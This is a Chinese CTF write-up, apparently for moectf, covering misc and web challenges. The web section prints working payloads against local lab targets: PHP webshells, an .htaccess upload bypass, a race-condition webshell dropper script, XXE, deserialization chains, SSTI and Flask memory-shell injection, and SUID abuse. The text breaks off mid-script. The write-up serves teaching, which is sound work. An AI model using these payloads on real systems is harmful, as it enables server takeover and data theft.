战果:web和misc 除了最后出的几道ak,复仇成功喵

misc

1.RUSH

下载附件,发现是gif动图,拆分图片后用qrreaserch扫描,获得flag

2.ez_LSB

下载附件是png图片,结合题目,推测是lsb隐写,用Stegsolver尝试得到1

base64解码获得flag:moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

3.ez_锟斤拷????

下载附件是熟悉的乱码,以前经常下盗版游戏的同学对此肯定很熟悉,切换为gbk编码,得到flag

4.weird_photo

题目提示crc错误,简单推测为图片宽高被修改了,恢复宽高,获得flag

5.SSTV

下载附件获得音频,结合题目sstv可以得知其类型,使用MMSSTV2

6.encrypted_pdf

下载附件是加密的pdf,使用https://www.ilovepdf.com/zh-cn/unlock_pdf网站,成功移除密码,打开pdf以后ctrl+f搜索moectf,然后将那一行复制就获得了flag,与签到题一样。

7.捂住一只耳

由题目名称很容易想到单声道。使用Audacity打开,3

不难发现上面是摩斯密码,解密获得 flag

8.Enchantment

典型的流量分析题目,用wireshark打开,发现可疑流量包序列193,发现是传输了一张图片,查看,4

根据题目附魔台上的文字不太对劲,猜测为flag的编码,经查发现是银河编码,解码获得flag。

9.WebRepo

下载后发现是张二维码,扫码提示我们使用binwalk,用010查看发现里面藏着7z压缩包,直接将文件后缀名改为.7z,解压得到了.git文件夹,是git泄露,使用git_extract还原flag.txt,得到flag:moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}

10.ez_ssl

又是经典的流量分析,由题目可知是ssl加密流量分析。

首先用CTF netA,获得TLS/SSL 会话密钥日志文件(SSLKEYLOGFILE 格式)

1
------WebKitFormBoundary1EV4LSnnRBL8OzyBContent-Disposition: form-data; name="file"; filename="ssl.log"Content-Type: application/octet-streamCLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4------WebKitFormBoundary1EV4LSnnRBL8OzyB--

将其保存为ssl.log,然后再次运行CTF NetA,获得加密后的压缩包,查看压缩包备注得知密码为7位纯数字,用ARCHPR爆破,得到flag。

11.ez_png

由题目提示数据段不对劲,推测位IDAT块隐写,使用pngcheck查看5

发现不对劲的数据,使用010将不对劲的数据截取下来。使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import zlib
import binascii

def decompress_idat_raw(hex_data):
# 移除空格和换行,转换为bytes
hex_clean = hex_data.replace(" ", "").replace("\n", "")
raw_bytes = binascii.unhexlify(hex_clean)

# 跳过非IDAT部分(直接定位到zlib压缩数据)
# 你的数据中,IDAT块从 `78 9C` 开始(zlib头)
zlib_start = raw_bytes.find(b'x\x9C') # zlib默认压缩头
if zlib_start == -1:
print("错误:未找到zlib压缩数据头(78 9C)")
return None

zlib_data = raw_bytes[zlib_start:] # 提取zlib压缩数据

# 尝试解压
try:
decompressed = zlib.decompress(zlib_data)
return decompressed
except zlib.error as e:
print(f"解压失败: {e}")
return None

# 输入数据
idat_hex = """
6A 71 EB 4B 00 00 00 26 49 44 41 54 78 9C CB CD
4F 4D 2E 49 AB CE 30 74 49 71 CD 8B 0F 30 89 CC
F1 4F 74 89 F7 F4 D3 F5 4C 31 09 A9 05 00 A8 D0
0A 5F 18 75 55 B6 00 00 00 00 49 45 4E 44 AE 42
60 82
"""

# 解压并输出
result = decompress_idat_raw(idat_hex)
if result:
print("解压成功!原始数据:")
print(result.hex(" ")) # 以十六进制打印
print("\nASCII预览:")
print(result.decode("latin-1", errors="replace")) # 尝试ASCII解码
else:
print("解压失败!")

成功获取flag。

12.万里挑一

解压文件夹,发现有一万个密码,使用脚本获取密码生成字典,然后爆破,得到正确密码a296a5ec1385f394e8cb,打开lock.zip

发现里面有一个flag.zip,查看发现是Store的压缩方式,使用ZipCrypto压缩方法,再结合其中的明文.exe,可以推测为是明文攻击。具体教程可以查看https://www.freebuf.com/articles/network/255145.html),EXE文件默认加密情况下,不太会以store方式被加密,但它文件格式中的的明文及其明显,长度足够。如果加密ZIP压缩包出现以store算法存储的EXE格式文件,很容易进行破解。
大部分exe中都有这相同一段,且偏移固定为64。

使用bkcrack爆破出密钥。

然后用密钥解密就可以了,获得flag。

13.Encrypted volume

使用foremost文件分离得到一张图片,打开是二维码,扫描获得挂载密钥*:@(s<”A3F:89x541Ux[<*,然后使用Veracrypt挂载,得到里面的brainfuck文件,使用网站https://tool.bugku.com/brainfuck/在线解密,得到flag moectf{nOW_YoU-h4V3_UNlocKED-VOlumE}

14.哈基米难没露躲

下载附件,在压缩包注释中看到解密网址,解密得到fake flag:

1
‌‌‌‌‍‬‍‌‌‌‌‍‬fakeflag‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‌‍‬‍‬{‌‌‌‌‍‬you‌‌‌‌‌‌‍‌‌‌‌‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‬‍‌‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‍‬‌‬‌‌‌‌‌‬‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‍‌_can_‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‬‍‌‌‌‌‌‍‌‌‌‌‌‌‌‍‌‌‌‌‌‌‌try‌‌‌‌‌‌‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‌‍_‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‌‌‌‌‌‌‬‍‌‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍searching‌‌‌‌‌‌‌‌‌‌‌‌_text‌‌‌‌‌‍‬_‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‍Steganography}

显然存在隐写,使用零宽隐写解密得到真实flag。

15.2048_master

打开以后,发现生成了data文件。提示合成出16384可获得flag,打开data文件发现是矩阵,以2的次方来存数,修改即可。

16.Pyjail 0

(为什么这会放在misc里面)

nc连接,输入反转字符后可以查文件,由题目提示,查找/proc/self/environ,得到flag。

17.Pyjail 1

输入breakpoint()进入调试,在输入__import__('os').system('sh')即可执行系统命令,输入tac /tmp/flag.txt得到flag,终端交互如下

1
2
3
4
5
6
7
8
9
10
11
Please enter the reverse of 'A9OXRP42' to continue: 24PRX09A
Error! Please try again.
Please enter the reverse of 'LJ6L035O' to continue: O530L6JL
Give me your code: breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('sh')
ls /tmp
flag.txt
cat /tmp/flag.txt
moectf{a1573a86-1852-2c5b-7382-4c061ec28a77}

18.Pyjail 2

同 pyjail 1。

19.Pyjail 3

输入[].__class__.__base__.__subclasses__()得到所有的子类。

使用下述脚本获取catch_warnings的序列号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# 从你提供的子类列表中查找 catch_warnings
subclasses_list = [
'<class type>', '<class async_generator>', '<class bytearray_iterator>', '<class bytearray>',
'<class bytes_iterator>', '<class bytes>', '<class builtin_function_or_method>',
'<class callable_iterator>', '<class PyCapsule>', '<class cell>', '<class classmethod_descriptor>',
'<class classmethod>', '<class code>', '<class complex>', '<class _contextvars.Token>',
'<class _contextvars.ContextVar>', '<class _contextvars.Context>', '<class coroutine>',
'<class dict_items>', '<class dict_itemiterator>', '<class dict_keyiterator>',
'<class dict_valueiterator>', '<class dict_keys>', '<class mappingproxy>',
'<class dict_reverseitemiterator>', '<class dict_reversekeyiterator>',
'<class dict_reversevalueiterator>', '<class dict_values>', '<class dict>', '<class ellipsis>',
'<class enumerate>', '<class filter>', '<class float>', '<class frame>', '<class frozenset>',
'<class function>', '<class generator>', '<class getset_descriptor>', '<class instancemethod>',
'<class list_iterator>', '<class list_reverseiterator>', '<class list>', '<class longrange_iterator>',
'<class int>', '<class map>', '<class member_descriptor>', '<class memoryview>',
'<class method_descriptor>', '<class method>', '<class moduledef>', '<class module>',
'<class odict_iterator>', '<class pickle.PickleBuffer>', '<class property>', '<class range_iterator>',
'<class range>', '<class reversed>', '<class symtable entry>', '<class iterator>', '<class set_iterator>',
'<class set>', '<class slice>', '<class staticmethod>', '<class stderrprinter>', '<class super>',
'<class traceback>', '<class tuple_iterator>', '<class tuple>', '<class str_iterator>', '<class str>',
'<class wrapper_descriptor>', '<class zip>', '<class types.GenericAlias>', '<class anext_awaitable>',
'<class async_generator_asend>', '<class async_generator_athrow>', '<class async_generator_wrapped_value>',
'<class _buffer_wrapper>', '<class Token.MISSING>', '<class coroutine_wrapper>', '<class generic_alias_iterator>',
'<class items>', '<class keys>', '<class values>', '<class hamt_array_node>', '<class hamt_bitmap_node>',
'<class hamt_collision_node>', '<class hamt>', '<class sys.legacy_event_handler>', '<class InterpreterID>',
'<class line_iterator>', '<class managedbuffer>', '<class memory_iterator>', '<class method-wrapper>',
'<class types.SimpleNamespace>', '<class NoneType>', '<class NotImplementedType>', '<class positions_iterator>',
'<class str_ascii_iterator>', '<class types.UnionType>', '<class weakref.CallableProxyType>',
'<class weakref.ProxyType>', '<class weakref.ReferenceType>', '<class typing.TypeAliasType>',
'<class typing.Generic>', '<class typing.TypeVar>', '<class typing.TypeVarTuple>', '<class typing.ParamSpec>',
'<class typing.ParamSpecArgs>', '<class typing.ParamSpecKwargs>', '<class EncodingMap>',
'<class fieldnameiterator>', '<class formatteriterator>', '<class BaseException>',
'<class _frozen_importlib._WeakValueDictionary>', '<class _frozen_importlib._BlockingOnManager>',
'<class _frozen_importlib._ModuleLock>', '<class _frozen_importlib._DummyModuleLock>',
'<class _frozen_importlib._ModuleLockManager>', '<class _frozen_importlib.ModuleSpec>',
'<class _frozen_importlib.BuiltinImporter>', '<class _frozen_importlib.FrozenImporter>',
'<class _frozen_importlib._ImportLockContext>', '<class _thread.lock>', '<class _thread.RLock>',
'<class _thread._localdummy>', '<class _thread._local>', '<class _io.IncrementalNewlineDecoder>',
'<class _io._BytesIOBuffer>', '<class _io._IOBase>', '<class posix.ScandirIterator>', '<class posix.DirEntry>',
'<class _frozen_importlib_external.WindowsRegistryFinder>', '<class _frozen_importlib_external._LoaderBasics>',
'<class _frozen_importlib_external.FileLoader>', '<class _frozen_importlib_external._NamespacePath>',
'<class _frozen_importlib_external.NamespaceLoader>', '<class _frozen_importlib_external.PathFinder>',
'<class _frozen_importlib_external.FileFinder>', '<class codecs.Codec>', '<class codecs.IncrementalEncoder>',
'<class codecs.IncrementalDecoder>', '<class codecs.StreamReaderWriter>', '<class codecs.StreamRecoder>',
'<class _abc._abc_data>', '<class abc.ABC>', '<class collections.abc.Hashable>', '<class collections.abc.Awaitable>',
'<class collections.abc.AsyncIterable>', '<class collections.abc.Iterable>', '<class collections.abc.Sized>',
'<class collections.abc.Container>', '<class collections.abc.Buffer>', '<class collections.abc.Callable>',
'<class genericpath.ALLOW_MISSING>', '<class os._wrap_close>', '<class _sitebuiltins.Quitter>',
'<class _sitebuiltins._Printer>', '<class _sitebuiltins._Helper>', '<class ast.AST>',
'<class warnings.WarningMessage>', '<class warnings.catch_warnings>', '<class operator.attrgetter>',
'<class operator.itemgetter>', '<class operator.methodcaller>', '<class itertools.accumulate>',
'<class itertools.batched>', '<class itertools.chain>', '<class itertools.combinations>',
'<class itertools.compress>', '<class itertools.count>', '<class itertools.combinations_with_replacement>',
'<class itertools.cycle>', '<class itertools.dropwhile>', '<class itertools.filterfalse>',
'<class itertools.groupby>', '<class itertools._grouper>', '<class itertools.islice>',
'<class itertools.pairwise>', '<class itertools.permutations>', '<class itertools.product>',
'<class itertools.repeat>', '<class itertools.starmap>', '<class itertools.takewhile>',
'<class itertools._tee>', '<class itertools._tee_dataobject>', '<class itertools.zip_longest>',
'<class _random.Random>', '<class _sha2.SHA224Type>', '<class _sha2.SHA256Type>', '<class _sha2.SHA384Type>',
'<class _sha2.SHA512Type>', '<class types.DynamicClassAttribute>', '<class types._GeneratorWrapper>',
'<class reprlib.Repr>', '<class collections.deque>', '<class collections._deque_iterator>',
'<class collections._deque_reverse_iterator>', '<class collections._tuplegetter>', '<class collections._Link>',
'<class functools.partial>', '<class functools._lru_cache_wrapper>', '<class functools.KeyWrapper>',
'<class functools._lru_list_elem>', '<class functools.partialmethod>', '<class functools.singledispatchmethod>',
'<class functools.cached_property>', '<class enum.nonmember>', '<class enum.member>', '<class enum._not_given>',
'<class enum._auto_null>', '<class enum.auto>', '<class enum._proto_member>', '<enum Enum>', '<class enum.verify>',
'<class re.Pattern>', '<class re.Match>', '<class _sre.SRE_Scanner>', '<class _sre.SRE_Template>',
'<class re._parser.State>', '<class re._parser.SubPattern>', '<class re._parser.Tokenizer>', '<class re.Scanner>',
'<class string.Template>', '<class string.Formatter>'
]

# 查找 catch_warnings 的索引
for i, cls_str in enumerate(subclasses_list):
if 'catch_warnings' in cls_str:
print(f"catch_warnings 索引: {i}")
break

最终payload: [].__class__.__base__.__subclasses__()[脚本得出的序列号]()._module.__builtins__['__import__']('os').system('cat /tmp/flag.txt')

Web

01 第一章 神秘的手镯

只需要输入万字密文就可以获得flag,但是发现无法复制黏贴。F12查看代码,在js代码中直接获得flag:moectf{f_i2_1s_Your_g00d_fri3nd!!}

02 第二章 初识金曦玄轨

阅读页面源代码,得到提示,访问/golden_trail,用bp抓包,成功在响应包中看到flag:moectf{0bs3rv3_Th3_Gold3n_traiL}

03 第三章 问剑石!篡天改命!

查看题目,发现需要修改请求包,bp抓包,然后修改如下:6

得到flag。

04 第四章 金曦破禁与七绝傀儡阵

没啥好说的,一步步照做就是,

第一关添加GET参数,获取碎片:bW9lY3Rme0Mw

第二个添加POST参数,获取碎片:bjZyNDd1MTQ3

第三关添加请求头X-Forwarded-For:127.0.0.1,获得碎片:MTBuNV95MHVy

第四个修改UA请求头为User-Agent:moe browser,获得碎片:X2g3N1BfbDN2

第五关添加cookie:user=xt,获得碎片:M2xfMTVfcjM0

第六关将Referer内容改为http://panshi/entry,获得碎片:bGx5X2gxOWgh

第七关,使用以下脚本发送put请求,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://127.0.0.1:57000/void_rebirth"
headers = {
"Host": "127.0.0.1:57000",
"Cache-Control": "max-age=0",
"sec-ch-ua": '"Not/A)Brand";v="8", "Chromium";v="126"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"',
"Accept-Language": "zh-CN",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "http://127.0.0.1:57000/pathfinder",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data = "新生!"

response = requests.put(url, headers=headers, data=data)

print(response.status_code)
print(response.text)

获得最后一块碎片,然后连在一起base64解密即可获得flag。

05 第五章 打上门来!

由题目可知考的是目录传输,输入../../flag,得到flag:moectf{41L_lnPUt-IS_maliCiOus6e6d93a3}

06 第六章 藏经禁制?玄机初探!

为sql注入,时间盲注,sqlmap一把梭即可,获得flag:moectf{WElcom3_tO-5ql_INjECTlON!115fd4535}

07 第七章 灵蛛探穴与阴阳双生符

由题目提示,访问robots.txt,获得路径:flag.php,访问后发现是一个简单的比较,需要a != b,但md5(a) = md5(b)才能得到flag。如果直接进行MD5碰撞的话过于困难。这里引入一个知识点,php的数字支持科学计数法,比如1e100代表1x10的一百次。所以,我可以构造0e 开头的值,这样就都等于0也就是相等。以下这几个MD5加密后都是0e开头.

1
2
3
4
5
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a

随便挑选两个输入,得到flag:moectf{MDS_ls_nOt_sAFe!!2346ac3aabc}

08 第八章 天衍真言,星图显圣

仍旧是sqlmap一把梭。

09 第九章 星墟禁制·天机问路

推测为执行系统命令curl,然后字符串拼接,输入 1 & env得到flag。本题为动态flag

10 第十章 天机符阵_revenge

简单的xxe注入,payload如下:

1
2
3
4
5
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<creds>
<ctfshow>&xxe;</ctfshow>
<解析>&xxe;</解析>
</creds>

11 第十一章 千机变·破妄之眼

由题,使用脚本生成脚本然后爆破,得到路径/find.php。

查看flag.php发现看不到flag,推测flag被注释掉了或者隐藏,使用伪协议base64加密再读取。

payload:php://filter/read=convert.base64-encode/resource=./flag.php

然后在base64解密就可以获得flag

12 第十二章 玉魄玄关·破妄

使用蚁剑连接然后翻下目录就可以找到flag。

13 第十三章 通幽关·灵纹诡影

文件上传,创建一个shell.php,里面写上<?=`$_POST[1]`?>,然后用010打开,为它添加上jpg的文件头,成功上传,然后访问上传的文件就可以rce了,使用指令env获得flag

14 第十四章 御神关·补天玉碑

依旧是文件上传,创建一个shell.php,里面写上<?=`$_POST[1]`?>,然后改名为shell.png,添加文件头尾,然后创建.htaccess文件,写入<FilesMatch ".png">SetHandler application/x-httpd-php</FilesMatch>然后添加文件头尾,改叫set.png,最后依次上传,在bp中将set.png改名叫.htaccess。最后访问shell.png实现rce,执行 env获得flag

15 第十五章 归真关·竞时净魔

条件竞争文件上传。由于服务器是先保存上传的文件在改名,所以我们可以趁服务器改名前访问我们上传的文件从而getshell。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import requests
import threading
import time
import sys

# --- 配置区 ---
# 请根据你的实际情况修改目标地址和端口
TARGET_HOST = "127.0.0.1"
TARGET_PORT = "50762"

# 上传路径和最终 shell 的路径
UPLOAD_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/upload.php"
ACCESS_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/uploads/shell.php"
FINAL_SHELL_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/shell.php"

# 设置并发线程数
THREAD_COUNT = 50

# --- 全局标志位 ---
# 一旦成功,就将此标志设置为 True,停止所有线程
RACE_SUCCESS = False

# --- “滴管”文件定义 ---
# 这是我们要上传的文件的内容和元数据
# 文件名可以随意,但内容必须是滴管代码
dropper_file_content = '<?php file_put_contents("../shell.php", \'<?php @eval($_POST["cmd"]); ?>\'); ?>'
files_payload = {
'upload_file': ('shell.php', dropper_file_content, 'application/octet-stream')
}
form_data = {
'submit': '上传' # 对应请求包中的 "ä¸Šä¼ "
}


def uploader():
"""
上传线程:循环发送文件上传请求
"""
global RACE_SUCCESS
session = requests.Session()
while not RACE_SUCCESS:
try:
session.post(UPLOAD_URL, files=files_payload, data=form_data, timeout=1)
# 打印'U'表示正在上传
sys.stdout.write('U')
sys.stdout.flush()
except requests.exceptions.RequestException:
# 在高并发下,连接错误是正常的,忽略即可
pass


def accessor():
"""
访问线程:循环访问可能存在的滴管文件
"""
global RACE_SUCCESS
session = requests.Session()
while not RACE_SUCCESS:
try:
session.get(ACCESS_URL, timeout=1)
# 打印'A'表示正在访问
sys.stdout.write('A')
sys.stdout.flush()
except requests.exceptions.RequestException:
pass


def checker():
"""
检查线程:持续检查最终的 shell 是否已经生成
"""
global RACE_SUCCESS
session = requests.Session()
test_command = 'echo "SUCCESS";'
while not RACE_SUCCESS:
try:
response = session.post(FINAL_SHELL_URL, data={'cmd': test_command}, timeout=2)
# 检查响应中是否包含我们预期的成功标志
if response.status_code == 200 and "SUCCESS" in response.text:
print("\n\n[+] ===== [ RACE CONDITION SUCCESS! ] =====")
print(f"[+] 永久 Webshell 已经成功生成: {FINAL_SHELL_URL}")
print(f"[+] 现在你可以使用蚁剑或 curl 等工具连接它。")
print(f"[+] 例如: curl -X POST -d \"cmd=system('ls -la');\" {FINAL_SHELL_URL}")
RACE_SUCCESS = True # 设置成功标志,停止所有线程
break
except requests.exceptions.RequestException:
# 目标 shell 还未生成,继续等待
time.sleep(0.1)


if __name__ == "__main__":
print(f"[*] 目标地址: {TARGET_HOST}:{TARGET_PORT}")
print(f"[*] 启动 {THREAD_COUNT * 2} 个线程进行条件竞争...")
print("[*] U = 上传请求, A = 访问请求")
print("[*] 脚本将持续运行,直到在根目录成功生成 shell.php...")

threads = []

# 启动一个检查线程
checker_thread = threading.Thread(target=checker)
threads.append(checker_thread)
checker_thread.start()

# 启动多个上传和访问线程
for _ in range(THREAD_COUNT):
uploader_thread = threading.Thread(target=uploader)
threads.append(uploader_thread)
uploader_thread.start()

accessor_thread = threading.Thread(target=accessor)
threads.append(accessor_thread)
accessor_thread.start()

# 等待所有线程结束(当RACE_SUCCESS为True时)
for thread in threads:
thread.join()

print("\n[*] 脚本执行完毕。")

然后访问/shell.php即可getshell。

16 第十六章 昆仑星途

文件包含漏洞,尝试发现data伪协议可用,实现rce。

payload:http://127.0.0.1:63768/?file=data://plain/text,<?php system('tac /flag-VM4gaIgwcIg7m1R62FPhq0CdYe710z.txt');?>

得到flag

17 第十七章 星骸迷阵·神念重构

简单的php反序列化漏洞,__destruct()方法会在类销毁时得到执行,所以只需需改A类中的a属性即可getshell,获得payload的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


class A {
public $a;
function __destruct() {
eval($this->a);
}
}

$a = new A;
$a->a="system('env');";
echo serialize($a);
?>

18 第十八章 万卷诡阁·功法连环

依旧是简单的反序列化,把private改为public即可,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/*
* @Author: Ikalovic 2298268003@qq.com
* @Date: 2025-08-17 19:39:44
* @LastEditors: Ikalovic 2298268003@qq.com
* @LastEditTime: 2025-08-25 16:59:16
* @FilePath: \undefinedc:\Users\30882\Desktop\1.php
* @Description: 这是默认设置,请设置`customMade`, 打开koroFileHeader查看配置 进行设置: https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE
*/

class PersonA {
public $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

$a = new PersonB;
$a->name="system('env');";
$b = new PersonA;
$b->name=$a;
echo serialize($b);
?>

19 第十九章 星穹真相·补天归源

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Person {}
class PersonA extends Person {}
class PersonC extends Person {}

$a = new PersonA();
$c = new PersonC();

$c->name = "system"; // __Check 里会调用 system()
$c->age = "xxx"; // 避免包含 flag

$a->name = $c; // PersonA::name = PersonC
$a->id = "__Check"; // 调用 PersonC->__Check()
$a->age = "cat /flag"; // 作为 system() 参数

echo urlencode(serialize($a));
?>

19 第十九章_revenge

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
// __destruct 方法是我们的触发器
}

class PersonC extends Person
{
// check 方法是我们的执行点
}

// 1. 创建攻击链所需的对象
$a = new PersonA();
$c = new PersonC();

// 2. 配置 PersonA 对象的属性,让它在销毁时调用 PersonC->check()
$a->name = $c;
$a->id = "check";
$a->age = "id"; // 你想执行的命令, 比如 'ls -la', 'cat /flag'

// 3. 配置 PersonC 对象的属性,让它调用 system 函数
$c->name = "SyStEm"; // 大小写绕过 === 检查

// 4. 生成序列化字符串
$payload = serialize($a);

// 5. URL 编码后输出
echo urlencode($payload);

?>

20 第二十章 幽冥血海·幻语心魔

标准的ssti,fenjing一把梭即可。

21 第二十一章 往生漩涡·言灵死局

在前面的基础上添加了黑名单。blacklist = ["__", "global", "{{", "}}"]

依旧fenjing一把梭,payload如下:

1
2
username={%set ne=dict(NEXT=i)|first|lower%}{%set qb=dict(GET=i)|first|lower%}{%set wq=dict(OS=i)|first|lower%}{%set po=dict(POPEN=i)|first|lower%}{%set re=dict(READ=i)|first|lower%}{%set fa=dict(GLOBALS=i)|first|lower%}{%set da=({}|e|urlencode|first)%}{%set rk=(da,dict(c=i)|join)|join%}{%set wy=(x,)|count%}{%set ni=(wy,wy)|sum%}{%set cw=(wy,wy,wy,wy)|sum%}{%set bc=(wy,wy,wy,wy,wy)|sum%}{%set so=(bc,bc)|sum*(bc)%}{%set sj=(bc,wy,wy,wy)|sum%}{%set zz=(bc,wy)|sum%}{%set aq=(wy,wy,wy)|sum%}{%set wp=(bc,wy,wy,wy,wy)|sum%}{%set ta=(rk*wp)%((wp,wp,wp,ni)|sum*(cw),(so,wp,wp,wp,wp,wp,ni)|sum,(wp,ni)|sum*(wp),(sj)*(cw),(wp,wp,wp,wp,wp,ni)|sum,(wp,sj)|sum*(zz),(wp,aq)|sum*(wp),(so,wp,wp,wp,wp,wp,ni)|sum,(so,so,aq)|sum)%}{%set on=e|map(e)|e|list|batch((wp,wp,sj)|sum)|first|last%}{%set ea=(on,on)|join%}{%set yr=(ea,fa,ea)|join%}{%print cycler|attr(ne)|attr(yr)|attr(qb)(wq)|attr(po)(ta)|attr(re)()%}

22 第二十二章 血海核心·千年手段

无回显ssti,打内存马,payload如下:

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

然后get传参cmd即可getshell

访问flag发现无内容,ls -l 发现为root可读,考虑提权。

采取suid提权,使用rev指令发现无反应。

用base64读取rev文件内容,然后再解码,丢进ida,得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 1; argc > i + 1; ++i )
{
if ( !strcmp("--HDdss", argv[i]) )
execvp(argv[i + 1], (char *const *)&argv[i + 1]);
}
return 0;
}

接下来就显而易见了,payload:rev --HDdss tac /flag

得到flag。

摸金偶遇FLAG,拼尽全力难战胜

审计代码,发现是js写的小游戏,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 获取挑战数据并验证
fetch('/get_challenge?count=9')
.then(response => response.json())
.then(data => {
const numbers = data.numbers;
const token = data.token;
// 发送验证请求
return fetch('/verify', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ answers: numbers, token: token })
});
})
.then(response => response.json())
.then(data => {
if (data.correct) {
console.log('Flag:', data.flag);
} else {
console.log('Failed:', data.message);
}
})
.catch(error => console.error('Error:', error));

直接打开f12,在控制台输入上面的代码即可获得flag

这是…Webshell?

打开后,页面给出源代码。

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>

无数字字母rce,使用Wappalyzer查看php版本为5。参考无字母数字webshell总结-先知社区

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
import time
from urllib.parse import urlencode


def check_success(url):
"""检查是否成功上传webshell"""
try:
test_data = {'shell': 'echo "WEBSHELL_TEST";'}
response = requests.post(url, data=test_data, timeout=5)
if 'WEBSHELL_TEST' in response.text:
return True
except:
pass
return False


def exploit_get_params_with_post_file():
base_url = "http://127.0.0.1:53746/"
shell_url = "http://127.0.0.1:53746/success.php"

# GET参数
get_params = {
'shell': '''?><?=`. /???/????????[@-[]`?>'''
}

# 文件内容 - 通过POST上传
file_content = '''echo '<?php
highlight_file(__FILE__);
eval($_POST[1]);?>' > success.php'''
files = {
